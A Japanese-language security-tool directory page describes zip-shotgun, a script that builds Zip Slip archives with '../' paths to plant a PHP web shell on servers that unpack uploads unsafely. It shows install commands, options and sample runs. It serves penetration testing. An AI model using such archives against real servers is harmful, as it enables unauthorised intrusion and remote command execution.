Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
zip-shotgun — Zipファイルのアップロード機能(およびZipファイルの展開機能)の脆弱性(Zip Slipとも呼ばれる)をテストするユーティリティスクリプト | Kitploit
ツール/GitHubGitHub/jpiechowka/zip-shotgun
ペイロード生成脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト
GitHubjpiechowka/zip-shotgun

zip-shotgun

Zipファイルのアップロード機能(およびZipファイルの展開機能)の脆弱性(Zip Slipとも呼ばれる)をテストするユーティリティスクリプト

リポジトリを見る
3251047年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ZIP Shotgun

ZIPファイルアップロード機能(およびZIPファイルの展開)の脆弱性(別名Zip Slip)をテストするためのユーティリティスクリプト。 このスクリプトのアイデアは、Silent Signal Techblog - Compressed File Upload And Command Execution の記事と OWASP - Test Upload of Malicious Files を基にしています。

Snyk.io には、この仕組みに関するレポートがあります: Zip Slip 脆弱性 と、さまざまな言語の脆弱なライブラリを含むGitHubリポジトリ: Snyk.io Zip Slip github repo

また、LiveOverflow による Zip Slip および Zipperdown 脆弱性について解説した動画もあります: Critical .zip vulnerabilities? - Zip Slip and ZipperDown

このスクリプトは、ファイル名に "../" を含むアーカイブを作成します。展開時に、ファイルが上位ディレクトリに展開される可能性があります。 攻撃者は、Webブラウザからアクセス可能なディレクトリにシェルを展開できるようになります。

デフォルトのWebシェルはwwwolfのPHP Webシェルであり、そのすべてのクレジットはWhiteWinterWolfに帰属します。ソースはこちらから入手できます。

インストール

  1. Python pipを使用してインストール(Python 3が必要)

    pip3 install zip-shotgun --upgrade

  2. Gitリポジトリをクローンしてインストール

    git clone https://github.com/jpiechowka/zip-shotgun.git

    クローンしたリポジトリのルートディレクトリ(setup.pyファイルがある場所)から実行

    pip3 install . --upgrade

使用法とオプション

Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE

Options:
  --version                      バージョンを表示して終了します。
  -c, --directories-count INTEGER
                                  zipファイル内で戻るディレクトリの数(例:3を指定すると、shell.php、../shell.php、../../shell.phpの3ファイルがzipに追加されます。shell.phpは指定されたシェル名またはランダム生成された値です)[デフォルト: 16]
  -n, --shell-name TEXT           生成されたzipファイル内のシェルの名前(例:shell)。指定しない場合はランダム生成されます。空白を含むことはできません。
  -f, --shell-file-path PATH     シェルのコードを含むファイル。このオプションを指定しない場合、wwwolf (https://github.com/WhiteWinterWolf/wwwolf-php-webshell) のPHPシェルが代わりに追加されます。名前が指定された場合は、その名前でzipに追加されます。指定されない場合は名前がランダムに生成されます。
  --compress                      圧縮を有効にします。このフラグを設定すると、DEFLATEアルゴリズムで圧縮レベル9のアーカイブが作成されます。デフォルトでは圧縮は適用されません。
  -h, --help                      このメッセージを表示して終了します。

例

  1. すべてデフォルトオプションを使用

    zip-shotgun archive.zip

    スクリプト出力の一部

    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj
    12/Dec/2018 Wed 23:13:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php
    ...
    12/Dec/2018 Wed 23:13:13 +0100 |     INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL
    
  2. デフォルトオプションを使用し、アーカイブファイルの圧縮を有効にする

    zip-shotgun --compress archive.zip

    スクリプト出力の一部

    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh
    12/Dec/2018 Wed 23:16:13 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    ...
    12/Dec/2018 Wed 23:16:13 +0100 |     INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL
    
  3. デフォルトオプションを使用し、アーカイブ内で戻るディレクトリ数を3に変更

    zip-shotgun --directories-count 3 archive.zip

    zip-shotgun -c 3 archive.zip

    スクリプトは合計3ファイルをアーカイブに書き込みます

    スクリプト出力の一部

    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F
    12/Dec/2018 Wed 23:17:43 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored.
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php
    12/Dec/2018 Wed 23:17:43 +0100 |     INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL
    
  4. デフォルトオプションを使用し、アーカイブ内のシェル名を指定、圧縮を有効にする

    シェル名に空白を含めることはできません

    zip-shotgun --shell-name custom-name --compress archive.zip

    zip-shotgun -n custom-name --compress archive.zip

    アーカイブ内のシェルファイル名はユーザー指定のものになります。

    スクリプト出力の一部

    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip
    12/Dec/2018 Wed 23:19:12 +0100 |  WARNING | Shell file was not provided. Using default wwwolf's webshell code
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Using default file extension for wwwolf's webshell: php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Writing file to the archive: ../../../custom-name.php
    ...
    12/Dec/2018 Wed 23:19:12 +0100 |     INFO | Finished. Try to access shell using custom-name.php in the URL
    
  5. カスタムシェルファイルを指定し、アーカイブ内ではランダム名を使用。ディレクトリ数を3に設定

ツールをダウンロード